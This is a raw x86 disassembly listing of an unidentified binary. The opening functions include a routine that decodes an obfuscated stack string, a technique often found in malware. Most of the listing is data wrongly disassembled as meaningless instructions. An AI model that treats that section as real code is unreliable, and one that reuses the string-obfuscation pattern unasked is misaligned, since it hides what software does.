mov eax, dword [case.0x41e783.144]
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x44b89c]
jmp dword [0x44b8a4]
push edi
call fcn.0040cd50
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
push edi
call fcn.0040cd50
add esp, 4
jmp dword [0x44b8ac]
jmp dword [0x44b8b4]
push esi
call fcn.0040cd50
add esp, 4
mov eax, ebx
add esp, 0x84
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp + 0x1c], ecx
jmp dword [0x44b8bc]
mov eax, 0xffffffff
cmp ecx, 0xfffffff7
jl 0x4256e0
mov eax, dword [esp + 0x18]
add eax, eax
push eax
call fcn.0040cd40
add esp, 4
mov dword [esp], 0x63f961cc
mov dword [esp + 4], 0x67ef65c1
mov dword [esp + 8], 0x5b84598c
mov dword [esp + 0xc], 0x5ffc5df8
mov word [esp + 0x10], 0x5150
mov dword [esp + 0x12], 0
mov byte [esp + 0x16], 0
mov ecx, 0x3b6267c2
mov edx, 0x76c4cf84
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x3b6267c2]
mov edi, ecx
xor edi, 0x2a
mov ebp, edx
and ebp, 0xaa
sub ebp, edi
lea ebx, [esi + esi]
not ebx
add ebx, esi
xor ebx, esi
and ebx, ebp
xor ebx, esi
add bl, 8
mov byte [esp + ecx - 0x3b6267c2], bl
inc ecx
add edx, 2
cmp ecx, 0x3b6267d9
jne 0x425730
mov ebx, dword [esp + 0x3c]
movzx edx, word [ebx]
mov ecx, eax
test dx, dx
je 0x425791
lea esi, [ebx + 2]
mov ecx, eax
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x425780
mov word [ecx], 0
movzx edx, word [esp]
test dx, dx
je 0x4257c1
lea esi, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x4257b0
mov word [ecx], 0
lea ecx, [esp + 0x20]
push ecx
push eax
call fcn.00444990
add esp, 8
mov ecx, dword [esp + 0x1c]
jmp case.0x41e783.155
mov word [eax], 0
lea eax, [esp + 0x20]
push eax
push esi
call fcn.00444990
add esp, 8
mov ecx, dword [esp + 0x1c]
jmp dword [0x44b8c8]
mov eax, 0xffffffff
cmp ecx, 0xfffffff7
jl 0x42580d
mov eax, dword [esp + 0x18]
add eax, eax
lea edi, [ebx + 2]
lea ebp, [esp + 2]
push eax
call fcn.0040cd40
add esp, 4
mov dword [esp + 0x24], eax
mov dword [esp], 0x63f961cc
mov dword [esp + 4], 0x67ef65c1
mov dword [esp + 8], 0x5b84598c
mov dword [esp + 0xc], 0x5ffc5df8
mov word [esp + 0x10], 0x5150
mov dword [esp + 0x12], 0
mov byte [esp + 0x16], 0
mov eax, 0x3b6267c2
mov esi, 0x76c4cf84
nop
nop
movzx edx, byte [esp + eax - 0x3b6267c2]
mov ebx, eax
xor ebx, 0x2a
mov ecx, esi
and ecx, 0xaa
sub ecx, ebx
lea ebx, [edx + edx]
not ebx
add ebx, edx
xor ebx, edx
and ebx, ecx
xor ebx, edx
add bl, 8
mov byte [esp + eax - 0x3b6267c2], bl
inc eax
add esi, 2
cmp eax, 0x3b6267d9
jne 0x425860
mov ebx, dword [esp + 0x3c]
movzx ecx, word [ebx]
mov esi, dword [esp + 0x24]
mov eax, esi
test cx, cx
je 0x4258c1
mov eax, esi
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x4258b0
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x4257e0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebp]
add ebp, 2
test cx, cx
jne 0x4258e0
jmp 0x4257e0
mov ebx, dword [esp + 0x20]
jmp dword [0x44b8cc]
push esi
mov esi, eax
call fcn.0040cd50
mov eax, esi
add esp, 4
test eax, eax
setns cl
test bl, 0x10
sete al
and al, cl
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
add al, byte [ecx]
movsd dword es:[edi], dword [esi]
add al, byte [ecx]
stosd dword es:[edi], eax
add al, byte [ecx]
add byte [ebx], al
inc ecx
add byte [eax], al
add eax, dword [ecx]
pop ecx
add eax, dword [ecx]
imul eax, dword [ebx], 0x41
add byte [ebx + eax + 65], dh
add byte [ecx + 4], bh
inc ecx
add byte [edx + 0x1004104], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx + 0x7d004104], al
add eax, 0x4920041
inc ecx
add al, dl
push es
inc ecx
add byte [esi - 0x2fffbefb], bh
push es
inc ecx
add cl, bl
add eax, 0x5eb0041
inc ecx
add bh, dh
add eax, 0x6090041
inc ecx
add bl, ch
add eax, 0x6be0041
inc ecx
add byte [ebx], ah
push es
inc ecx
add byte [ecx + 6], al
inc ecx
add byte [eax + 6], dl
inc ecx
add byte [esi + eax + 0x6800041], bl
inc ecx
add byte [eax + 6], ah
inc ecx
add byte [eax + 0x1004106], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + 6], dl
inc ecx
add byte [ecx], al
add byte [eax], al
add byte [edi + 6], ch
inc ecx
add byte [esi - 0x2fffbefa], bh
push es
inc ecx
add ah, cl
push es
inc ecx
add bh, bh
push es
inc ecx
add byte [edx + eax + 0x41], bh
add byte [ebp - 0x6cffbefe], dl
add al, byte [ecx]
lahf
or dword [ecx], eax
cmp eax, 0x9f004107
or dword [ecx], eax
fimul word [ebx]
inc ecx
add ah, ch
or eax, dword [ecx]
or eax, dword [ecx]
cmpsd dword [esi], dword es:[edi]
or al, 65
add byte [esp + ecx + 0x72f0041], bh
inc ecx
add byte [ecx + 0xd], bh
inc ecx
add byte [ecx - 0x75ffbef3], dh
or eax, 0xd900041
inc ecx
add byte [eax - 0x5fffbef3], ah
or eax, 0xdb10041
inc ecx
add byte [eax + edx + 0x41], al
add ch, al
or eax, 0xf000041
inc ecx
add bl, cl
or eax, 0xf000041
inc ecx
add byte [eax + edx + 0x41], al
add byte [ebp + 0x10], dh
inc ecx
add byte [ecx + 0x10], bh
inc ecx
add ah, al
adc byte [ecx], al
sahf
adc byte [ecx], al
les edx, [eax]
inc ecx
add byte [edi - 0x3fffbef0], dh
adc byte [ecx], al
rcl byte [eax], 0x41
add al, al
adc byte [ecx], al
les edx, [eax]
inc ecx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add ah, ch
or eax, dword [ecx]
add dword [eax], eax
add byte [eax], al
push esi
adc eax, 285409345
inc ecx
add byte [eax], dh
adc dword [ecx], eax
dec esi
adc dword [ecx], eax
push eax
adc eax, 290979905
inc ecx
add byte [ebp + 0x11], ah
inc ecx
add byte [ebp + 0x11], ah
inc ecx
add byte [eax + 0x15], ah
inc ecx
add byte [edx + 0x15500041], bh
inc ecx
add ah, cl
adc eax, 0x23170041
inc ecx
add byte [eax], cl
and eax, dword [ecx]
jne 0x449d3c
inc ecx
add byte [edx + 0x55004122], al
and al, byte [ecx]
and al, byte fs:[ecx]
sub eax, -771735264
adc eax, 366673985
inc ecx
add byte [edx + 0x1a], cl
inc ecx
add cl, dh
sbb al, byte [ecx]
and byte [ebx], bl
inc ecx
add byte [eax], ch
sbb eax, dword [ecx]
xor dword [ebx], ebx
inc ecx
add byte [ecx], ch
sbb al, byte [ecx]
push ebx
sbb eax, dword [ecx]
out 0x1b, al
inc ecx
add dl, dh
sbb eax, dword [ecx]
cmp dword [edx], ebx
inc ecx
add byte [edi], cl
sbb al, 0x41
add byte [edi], ah
sbb al, 0x41
add byte [edi - 0x21ffbee2], bh
pop ds
inc ecx
add dh, bl
pop ds
inc ecx
add dh, bl
pop ds
inc ecx
add byte [esi], ah
and eax, dword [ecx]
and eax, dword es:[ecx]
push esi
adc eax, 285802561
inc ecx
add byte [esi], cl
and eax, dword [ecx]
push eax
sbb al, byte [ecx]
dec esi
fld dword [ecx]
pushfd
ret 65
ljmp 0x41:0xeb900041
fld qword [ecx]
inc esp
loopne 4502704
add byte [esi], ah
loope 0x44b4b4
add byte [edx], dl
loope 0x44b4b8
add byte [esi], ah
in al, 0x41
add byte [edi + 0x180041e3], al
loope 0x44b4c4
add byte [edi + 0x260041e3], al
loope 0x44b4cc
add byte [ecx + 0x41], dh
add al, ah
fild dword [ecx]
scasb al, byte es:[edi]
fadd qword [ecx]
hlt
hlt
loopne case.0x41dca7.4
inc ecx
add bh, ah
out 0xdb, eax
inc ecx
add byte [ebx - 0x78ffbe23], dl
fld dword [ecx]
fild dword [ecx]
xchg ebx, eax
fld qword [ecx]
xchg ecx, ebx
inc ecx
add byte [edx + 0x100041d9], dl
in eax, 0x41
xchg edx, eax
fld dword [ecx]
adc ch, ah
inc ecx
add byte [ecx], al
out 0x41, al
add esi, esp
inc ecx
add byte [edx - 0x1a], bl
inc ecx
add byte [0x4e0041e6], bh
out 0x41, al
add byte [eax], ah
out 0x41, al
add byte [edx - 0x1a], bl
inc ecx
add byte [ebx], ch
out 0x41, al
add byte [esi + 0x41], ch
add byte [eax], dl
in eax, 0x41
add byte [esi - 0x1a], dh
inc ecx
add byte [edx + 0x100041e6], dl
in eax, 0x41
add byte [edx - 0x5dffbe1a], dl
out 0x41, al
add byte [edi], dl
in eax, 0x41
add dh, ah
out 0x41, al
add byte [edx - 0x75ffbe19], cl
out 0x41, eax
add bl, al
out 0x41, al
add byte [ebx - 0x55ffbe19], dl
std
inc ecx
add byte [ebx - 0x6dffbe03], bl
std
inc ecx
add byte [edx - 0x6dffbe03], ch
std
inc ecx
add byte [edx], dh
jmp 0xe981b577
cmc
inc ecx
add dh, bh
cmc
inc ecx
add byte [esi], ah
fadd dword [ecx]
pop ebp
salc
inc ecx
add byte [esi - 0x6effbe29], ah
xlatb
inc ecx
add dh, dl
xlatb
inc ecx
add byte [esi + 0x30041d7], ah
fadd dword [ecx]
and al, bl
inc ecx
add byte [eax], ah
salc
inc ecx
add byte [ebx], ch
salc
inc ecx
add dh, ah
cmc
inc ecx
add cl, dh
cmc
inc ecx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add cl, dh
cmc
inc ecx
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x7004215], bl
adc eax, 0x15980042
inc edx
add byte [edx + 0x15], bl
inc edx
add byte [ebx + 0x15], bh
inc edx
add byte [eax], dh
adc eax, 0x196a0042
sbb dword [edx], eax
xchg ecx, eax
sbb dword [edx], eax
xchg ecx, eax
sbb dword [edx], eax
xchg ecx, eax
sbb dword [edx], eax
xchg ecx, eax
sbb dword [edx], eax
mov ebx, dword [ecx]
inc edx
add byte [edx - 0x43ffbde7], ah
sbb dword [edx], eax
sub byte [0x19cb0042], bl
inc edx
add byte [eax], al
sbb eax, 0x1d120042
inc edx
add byte [eax], dl
sbb eax, 0x1d100042
inc edx
add byte [edx], dl
sbb eax, 0x1d100042
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx], dl
sbb eax, 0x10042
add byte [eax], al
sbb eax, 0x2800421d
sbb eax, 489685058
inc edx
add byte [eax], dh
sbb eax, 0x1d300042
inc edx
add byte [edx], dh
sbb eax, 0x210d0042
inc edx
add byte [ecx], ah
and dword [edx], eax
loop 0x44b62d
inc edx
add byte [ecx], ch
inc edx
add bl, al
and eax, dword [edx]
int3
and eax, dword [edx]
adc byte [esi], dh
inc edx
add byte [edi + esi + 0x42], dh
add byte [eax + 0x37], ah
inc edx
add byte [esi], bh
aaa
inc edx
add byte [esi], bh
aaa
inc edx
add byte [esi], bh
aaa
inc edx
add byte [0x4a004237], dl
aaa
inc edx
add byte [esi + esi + 0x42], al
add byte [ebx], ch
aaa
inc edx
add byte [ebx], ch
aaa
inc edx
add byte [ebx], ch
aaa
inc edx
add byte [ebx], ch
aaa
inc edx
add byte [esi + 0x36], dl
inc edx
add byte [eax], cl
aaa
inc edx
add byte [ebx], dl
aaa
inc edx
add byte [edx], dh
aaa
inc edx
add byte [edx + 0x37], dl
inc edx
add cl, ch
dec ecx
inc edx
add bh, dh
dec edi
inc edx
add byte [edi + 0x2100424a], al
dec edi
inc edx
add byte [esi + 0x45], cl
inc edx
add byte [ecx + ecx*2], cl
inc edx
add byte [eax + ecx*2], cl
inc edx
add byte [ebp + 0x7a004248], dl
inc ebp
inc edx
add byte [ebx + 0x2600424f], ah
dec esp
inc edx
add byte [esi + eax*2], al
inc edx
add byte [edx + 0x44], cl
inc edx
add byte [edi + 0x4a], dl
inc edx
add byte [esi], dh
dec eax
inc edx
add byte [0x2000424a], cl
dec ecx
inc edx
add byte [ebx - 0x62ffbdb1], cl
inc edi
inc edx
add byte [ecx + ecx*2 + 0x42], bl
add byte [edi], dh
dec edx
inc edx
add byte [ebx + 0x4f], ch
inc edx
add byte [ecx + 0x56004249], ah
dec edi
inc edx
add byte [edx + 0x44], ch
inc edx
add cl, dl
dec eax
inc edx
add cl, al
inc ebp
inc edx
add dl, al
inc edi
inc edx
add bh, dl
inc edi
inc edx
add byte [esi + 0x48], dl
inc edx
add byte [edx + 0x46], cl
inc edx
add byte [esi], al
dec esp
inc edx
add byte [ecx], ah
dec eax
inc edx
add cl, dh
dec eax
inc edx
add byte [edi], ah
inc esi
inc edx
add bh, ch
inc ebp
inc edx
add byte [edx + 0x46], ch
inc edx
add dl, dh
dec ecx
inc edx
add byte [eax + ecx*2 + 0x42], ch
add ah, ch
inc edi
inc edx
add byte [ecx + ecx*2], bh
inc edx
add byte [ecx], bh
inc ebp
inc edx
add cl, bl
dec ecx
inc edx
add byte [ebx + 0x3100424d], ah
inc esp
inc edx
add al, al
dec ecx
inc edx
add byte [esi + 0x4a], ch
inc edx
add byte [0x9600424f], bh
inc ebp
inc edx
add byte [esp + eax*2], dl
inc edx
add byte [ecx + 0x52], ah
inc edx
add byte [edx], dh
push ebp
inc edx
add byte [eax + 0x55], al
inc edx
add byte [eax + 0x55], al
inc edx
add byte [edx + 0x55], al
inc edx
add byte [edx + 0x55], al
inc edx
add byte [eax + 0x55], cl
inc edx
add byte [eax + 0x55], ah
inc edx
add byte [edi + 0x55], ch
inc edx
add byte [edi + 0x55], ch
inc edx
add byte [ebp + 0x55], dh
inc edx
add byte [esi + 0x55], bh
inc edx
add byte [eax + 0x55], al
inc edx
add byte [esi + 0x55], cl
inc edx
add dh, al
push esi
inc edx
add ch, bh
push edi
inc edx
add bh, dh
pop eax
inc edx
add bh, dh
pop eax
inc edx
add byte [ecx], al
pop ecx
inc edx
add byte [esi], cl
pop ecx
inc edx
add al, dl
push esi
inc edx
add byte [edx + 0x37], dl
inc edx
add byte [eax + 0x37], ah
inc edx
add byte [esi], bh
aaa
inc edx
add byte [edx + 0x37], dl
inc edx
add byte [edx + 0x37], cl
inc edx
add byte [0x2b004237], dl
aaa
inc edx
add byte [edx + 0x37], cl
inc edx
add byte [esi + esi + 0x42], al
add byte [ebx], ch
aaa
inc edx
add byte [edx], dh
aaa
inc edx
add byte [esi + 0x36], dl
inc edx
add byte [eax], cl
aaa
inc edx
add byte [ebx], dl
aaa
inc edx
add bh, dh
dec edi
inc edx
add cl, ch
dec ecx
inc edx
add byte [ebx - 0x78ffbdb3], ah
dec edx
inc edx
add byte [edi + 0x2100424a], al
dec edi
inc edx
add dl, dh
dec ecx
inc edx
add byte [esi + 0x45], cl
inc edx
add byte [ecx], dh
inc esp
inc edx
add byte [ecx + ecx*2], cl
inc edx
add byte [ecx], dh
inc esp
inc edx
add byte [eax + ecx*2], cl
inc edx
add byte [edx + 0x46], ch
inc edx
add byte [ebx - 0xeffbdb1], ah
dec eax
inc edx
add byte [esi], ah
dec esp
inc edx
add byte [edx + 0x46], cl
inc edx
add byte [esi + eax*2], al
inc edx
add al, al
dec ecx
inc edx
add byte [edx + 0x44], cl
inc edx
add byte [edi + 0x4a], dl
inc edx
add al, al
dec ecx
inc edx
add byte [esi + 0x4a], ch
inc edx
add byte [0xd00424a], cl
dec edx
inc edx
add byte [eax], ah
dec ecx
inc edx
add byte [ebx - 0x62ffbdb1], cl
inc edi
inc edx
add byte [0x6b00424f], bh
dec edi
inc edx
add byte [ecx + 0x6b004249], ah
dec edi
inc edx
add byte [edx + 0x44], ch
inc edx
add byte [esi + 0x4f], dl
inc edx
add cl, dl
dec eax
inc edx
add bh, dl
inc edi
inc edx
add cl, al
inc ebp
inc edx
add byte [esi - 0x3dffbdbb], dl
inc edi
inc edx
add byte [esi + 0x14004245], dl
inc esp
inc edx
add byte [esi], al
dec esp
inc edx
add byte [ecx], ah
dec eax
inc edx
add byte [esi], al
dec esp
inc edx
add byte [edi], ah
inc esi
inc edx
add bh, ch
inc ebp
inc edx
add byte [eax + ecx*2 + 0x42], ch
add ah, ch
inc edi
inc edx
add byte [eax + 0x55], al
inc edx
add byte [eax + 0x55], al
inc edx
add byte [edx + 0x55], al
inc edx
add byte [eax + 0x55], al
inc edx
add byte [eax + 0x55], cl
inc edx
add byte [edi + 0x55], ch
inc edx
add byte [eax + 0x55], ah
inc edx
add byte [esi + 0x55], cl
inc edx
add byte [edi + 0x55], ch
inc edx
add byte [eax + 0x55], ah
inc edx
add byte [ebp + 0x55], dh
inc edx
add byte [esi + 0x55], bh
inc edx
add ch, bh
push edi
inc edx
add al, dl
push esi
inc edx
add ch, bh
push edi
inc edx
add bh, dh
pop eax
inc edx
add byte [ecx], al
pop ecx
inc edx
add byte [esi], cl
pop ecx
inc edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx + ebx*2 + 0x59a30042], ch
inc edx
add byte [ecx + 0x5a], dl
inc edx
add byte [ebx - 0x54ffbda6], ch
pop edx
inc edx
add bh, bh
pop edi
inc edx
add dl, bl
insb byte es:[edi], dx
inc edx
add byte [edx], ah
arpl word [edx], ax
xor ah, byte [edx + eax*2]
inc edx
add al, al
inc edx
add byte [eax + 0x66], dh
inc edx
add byte [eax - 0x2effbd95], ah
arpl word [edx], ax
insb byte es:[edi], dx
bound eax, qword [edx]
sub eax, 0xbe00426b
imul eax, dword [edx], 0x32
inc dx
add byte [ebp + 0x6b], cl
inc edx
add bh, al
push 0x42
add byte [edx + 0x42], al
add ah, ch
arpl word [edx], ax
xor eax, 0xba004268
arpl word [edx], ax
loope 0x44b9a3
inc edx
add ah, al
insb byte es:[edi], dx
inc edx
add cl, ch
pop edi
inc edx
add byte [eax], bl
insd dword es:[edi], dx
inc edx
add cl, dl
imul eax, dword [edx], 0xf
inc edx
add ah, bh
inc dx
add byte [ebx + 0x57004263], bl
inc dx
add byte [esi + 0x1d004262], dl
inc dx
add byte [ecx + 0x63], bl
inc edx
add cl, bh
push 0x42
add byte [edx + 0x6c], bl
inc edx
add cl, ah
push 0x42
add dh, ah
imul eax, dword [edx], 0x78
arpl word [edx], ax
jl 0x44b9f1
inc edx
add byte [ecx], al
insd dword es:[edi], dx
inc edx
add byte [edi - 0x4ffbd96], dl
imul eax, dword [edx], 0x59
bound eax, qword [edx]
mov al, byte [0x2100426c]
bound eax, qword [edx]
aaa
insb byte es:[edi], dx
inc edx
add byte [edx], cl
inc dx
add byte [esp + ebp*2], dl
inc edx
add byte [edi + 0x7f00425e], dh
bound eax, qword [edx]
sbb al, 0x6b
inc edx
add byte [ecx - 0x53ffbd9e], ch
push 0x42
add byte [ebp + 0x600426c], al
bound eax, qword [edx]
jecxz 0x44ba2e
inc edx
add byte [ebx - 0x53ffbda7], ah
pop ecx
inc edx
add byte [ebx + 0x5100425a], ch
pop edx
inc edx
add byte [ebx + ebp*2], bl
inc edx
add bh, bh
pop edi
inc edx
add byte [esp + ebp*2], dl
inc edx
add dl, bl
insb byte es:[edi], dx
inc edx
add byte [esi + 0x3200426b], bh
inc edx
add byte [esi + 0x2600426b], bh
inc edx
add byte [edx], dh
inc dx
add al, al
inc edx
add byte [eax + 0x66], dh
inc edx
add byte [ecx - 0x5fffbd9e], ch
imul eax, dword [edx], 0x70
inc dx
add cl, dl
arpl word [edx], ax
sub eax, 0xec00426b
arpl word [edx], ax
dec ebp
imul eax, dword [edx], 0x44
bound eax, qword [edx]
invalid
inc edx
add byte [0x59004268], dh
arpl word [edx], ax
mov edx, 0xf004263
inc edx
add ah, al
insb byte es:[edi], dx
inc edx
add byte [edx + ebp*2 + 0x66fc0042], ch
inc edx
add byte [ebx - 0x3ffbd9d], bl
inc dx
add byte [0x57004266], bl
inc dx
add cl, bh
push 0x42
add dh, ah
imul eax, dword [edx], 0x5a
insb byte es:[edi], dx
inc edx
add byte [ebp - 0x1effbd94], al
push 0x42
add byte [ebp + 0x5900426c], al
bound eax, qword [edx]
jl 0x44bae5
inc edx
add byte [edi + 0x100426a], dl
insd dword es:[edi], dx
inc edx
add byte [edx], ah
arpl word [edx], ax
and dword [edx + 0x42], esp
add byte [esi], al
bound eax, qword [edx]
aaa
insb byte es:[edi], dx
inc edx
add byte [edi], dh
insb byte es:[edi], dx
inc edx
add byte [edx], cl
inc dx
add bl, ah
inc edx
add byte [edi - 0x48ffbda2], dh
pop esi
inc edx
add byte [edi + 0x62], bh
inc edx
add byte [eax], al
add byte [eax], al
add byte [eax - 0x18ffbd81], ch
jne 0x44baf9
add byte [eax - 0x2ffbd81], ch
jne 0x44bb01
add ch, bh
jne 0x44bb05
add ch, bh
jne 0x44bb09
add byte [ecx + 0x15004276], ch
jbe 0x44bb11
add bh, dh
ja 0x44bb15
add ah, bh
ja 0x44bb19
add bl, dl
jg 0x44bb1d
add bl, ch
js 0x44bb21
add byte [ebp + 0x7f], al
inc edx
add dh, bh
js 0x44bb29
add bl, dl
jg 0x44bb2d
add bl, dl
jg 0x44bb31
add al, ah
jnp 0x44bb35
add al, ah
jnp 0x44bb39
add al, ah
jnp 0x44bb3d
add al, ah
jnp 0x44bb41
add dh, dh
jnp 0x44bb45
add byte [ecx], cl
jl 0x44bb49
add byte [ecx], cl
jl 0x44bb4d
add bl, dl
jg 0x44bb51
add bl, dl
jg 0x44bb55
add al, ah
jnp 0x44bb59
add byte [edi], bh
jl 0x44bb5d
add bl, dl
jg 0x44bb61
add bl, dl
jg 0x44bb65
add byte [eax], dh
jl 0x44bb69
add byte [esi + 0x7c], dl
inc edx
jl 0x44bb6d
add byte [eax + 0x7c], dh
inc edx
jl 0x44bb71
add bl, dl
jg 0x44bb75
add bl, dl
jg 0x44bb79
add byte [ebp + 0x3000427c], al
jl 0x44bb7d
add byte [eax], dh
jl 0x44bb81
add byte [eax], dh
jl 0x44bb85
add byte [eax], dh
jl 0x44bb89
add byte [eax], dh
jl 0x44bb8d
add byte [esi], ah
jns 0x44bb91
add byte [esi], ah
jns 0x44bb95
add byte [esi], ah
jns 0x44bb99
add byte [0xd3004279], bh
jns 0x44bb9d
add bl, dl
jg 0x44bba1
add bl, dl
jg 0x44bba5
add dl, dl
jl 0x44bba9
add bl, ah
jl 0x44bbad
add bl, dl
jg 0x44bbb1
add byte [edx - 0x6fffbd82], dl
jle 0x44bbb5
add byte [eax - 0x6fffbd83], dl
jge 0x44bbb9
add byte [eax + 0x100427d], dl
jge 0x44bbbd
add byte [ecx], al
add byte [eax], al
add byte [eax - 0x5fffbd83], dl
jge 0x44bbc5
add byte [eax - 0xfffbd83], ah
jge 0x44bbc9
add al, dh
jl 0x44bbcd
add al, dh
jl 0x44bbd1
add al, dh
jl 0x44bbd5
add byte [ecx], al
add byte [eax], al
add al, dh
jl 0x44bbdd
add bl, dl
jg 0x44bbe1
add byte [edi*2 + 0x7d100042], bh
inc edx
jge 0x44bbe5
add byte [eax], dl
jge 0x44bbe9
add byte [eax + 0x7d], cl
inc edx
jge 0x44bbed
add bl, dl
jg 0x44bbf1
add bl, dl
jg 0x44bbf5
add bl, dl
jg 0x44bbf9
add byte [edi + 0x7d], ch
inc edx
jge 0x44bbfd
add bl, dl
jg 0x44bc01
add byte [edi - 0x70ffbd87], cl
jns 0x44bc09
add byte [edi - 0x2cffbd87], bl
jns 0x44bc0d
add bl, dl
jg 0x44bc11
add byte [edi + 0x7b], ah
inc edx
jnp 0x44bc15
add ch, dl
jns 0x44bc19
add byte [edx + edi*2], al
inc edx
add byte [eax], dh
jp 0x44bc21
add byte [edx + edi*2], dl
inc edx
jp 0x44bc25
add byte [edx + edi*2], dl
inc edx
jp 0x44bc29
add byte [edx + edi*2], dl
inc edx
jp 0x44bc2d
add byte [eax], dh
jp 0x44bc31
add byte [ecx], al
add byte [eax], al
add byte [eax], dh
jp 0x44bc39
add byte [esi], ah
jp 0x44bc3d
add byte [eax + 0x7a], al
inc edx
jp 0x44bc41
add byte [edx + 0x7a], al
inc edx
jp 0x44bc45
add byte [edx + 0x7a], al
inc edx
add al, al
jns 0x44bc4d
add byte [eax + 0x7a], dl
inc edx
jp 0x44bc51
add byte [eax - 0x6fffbd86], dl
jp 0x44bc55
add byte [eax - 0x59ffbd86], dl
jp 0x44bc59
add byte [esi - 0x59ffbd86], ah
jp 0x44bc61
jp 0x44bc5d
add byte [esi - 0x59ffbd86], ah
add byte [esi - 0x3fffbd86], ah
jp 0x44bc65
add al, al
jns 0x44bc69
add byte [edx + 0x7b], bh
inc edx
jnp 0x44bc6d
add bl, dl
jg 0x44bc71
add byte [ecx - 0x5fffbd85], bh
jnp 0x44bc79
jnp 0x44bc75
add byte [eax - 0x46ffbd85], ah
add byte [ecx - 0x41ffbd85], bh
jnp 0x44bc7d
add byte [esi - 0x22ffbd82], bh
jle 0x44bc81
add ch, bl
jle 0x44bc85
add cl, al
jg 0x44bc89
add byte [edi - 0x31ffbd81], bl
jle 0x44bc91
add dh, cl
jle 0x44bc95
add bh, cl
jnp 0x44bc99
add bh, cl
jnp 0x44bc9d
add bh, cl
jnp 0x44bca1
add bh, dh
ja 0x44bca5
add byte [eax - 0x57ffbd81], ch
jg 0x44bca9
add byte [eax - 0x5fffbd81], ch
jg 0x44bcad
add byte [eax + 0x7000427c], ah
jl 0x44bcb1
add byte [eax + 0x7e], dh
inc edx
jle 0x44bcb5
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x7a], al
inc edx
jp 0x44bcc5
add byte [eax - 0x4affbd86], dl
jp 0x44bcc9
add byte [ebp - 0x18ffbd81], dh
jg 0x44bccd
add bh, ah
jne 0x44bcd1
add byte [eax - 0x2ffbd81], ch
jg 0x44bcd5
add ch, bh
jne 0x44bcd9
add byte [eax + 0x1500427f], ch
jg 0x44bcdd
add byte [0xa9004276], dl
jbe 0x44bce1
add byte [ecx - 0x8ffbd8a], ch
jbe 0x44bce5
add bh, dh
ja 0x44bce9
add ah, bh
ja 0x44bced
add bl, ch
js 0x44bcf1
add byte [ebp + 0x7f], al
inc edx
jg 0x44bcf5
add byte [esi], ah
jns 0x44bcf9
add dh, bh
js 0x44bcfd
add byte [esi], ah
jns 0x44bd01
add al, ah
jnp 0x44bd05
add byte [esi], ah
jns 0x44bd09
add dh, dh
jnp 0x44bd0d
add byte [esi], ah
jns 0x44bd11
add byte [ecx], cl
jl 0x44bd15
add al, ah
jnp 0x44bd19
add byte [edi], bh
jl 0x44bd1d
add byte [esi + 0x7c], dl
inc edx
jl 0x44bd21
add byte [eax], dh
jl 0x44bd25
add byte [eax], dh
jl 0x44bd29
add byte [eax + 0x7c], dh
inc edx
jl 0x44bd2d
add byte [eax - 0x7affbd84], ah
jl 0x44bd31
add byte [ebp - 0x5fffbd84], al
jl 0x44bd35
add byte [eax + 0x3000427c], ah
jl 0x44bd39
add byte [eax], dh
jl 0x44bd3d
add byte [edi + 0x3d004279], bl
jns 0x44bd41
add byte [0x8f004279], bh
jns 0x44bd45
add byte [edi - 0x1cffbd87], cl
jns 0x44bd49
add bl, ah
jl 0x44bd4d
add byte [edx + 0x7000427e], dl
jle 0x44bd51
add byte [eax + 0x7e], dh
inc edx
jle 0x44bd55
add byte [eax + 0x7e], dh
inc edx
jle 0x44bd59
add byte [eax + 0x100427d], dl
jge 0x44bd5d
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x100427d], dl
jge 0x44bd69
add byte [ecx], al
add byte [eax], al
add al, dh
jl 0x44bd71
add byte [eax + 0x100427d], ah
jge 0x44bd75
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add al, dh
jl 0x44bd81
add byte [ecx], al
add byte [eax], al
add byte [edi + 0x7d], ch
inc edx
jge 0x44bd89
add byte [edi*2 + 0x7d480042], bh
jge 0x44bd8d
add byte [eax + 0x7d], cl
jge 0x44bd91
inc edx
add byte [eax], dl
jge 0x44bd95
add byte [edi - 0x2dffbd87], cl
jns 0x44bd99
add dl, dl
jl 0x44bd9d
add bh, cl
jnp 0x44bda1
add byte [edi + 0x67004279], bl
jnp 0x44bda9
add ch, dl
jns 0x44bdad
add byte [ecx + 0x7a00427b], bh
jnp 0x44bdb5
add byte [edx + 0x7a], al
inc edx
jp 0x44bdb9
add byte [edx + edi*2], al
inc edx
add byte [edx + edi*2], dl
inc edx
add byte [eax], dh
jp 0x44bdc5
add byte [esi], ah
jp 0x44bdc9
add byte [eax], dh
jp 0x44bdcd
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], dh
jp 0x44bdd9
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x7a], al
inc edx
jp 0x44bde1
add byte [eax + 0x7a], al
inc edx
jp 0x44bde5
add byte [eax + 0x7a], al
inc edx
add byte [edx + 0x7a], al
inc edx
jp 0x44bded
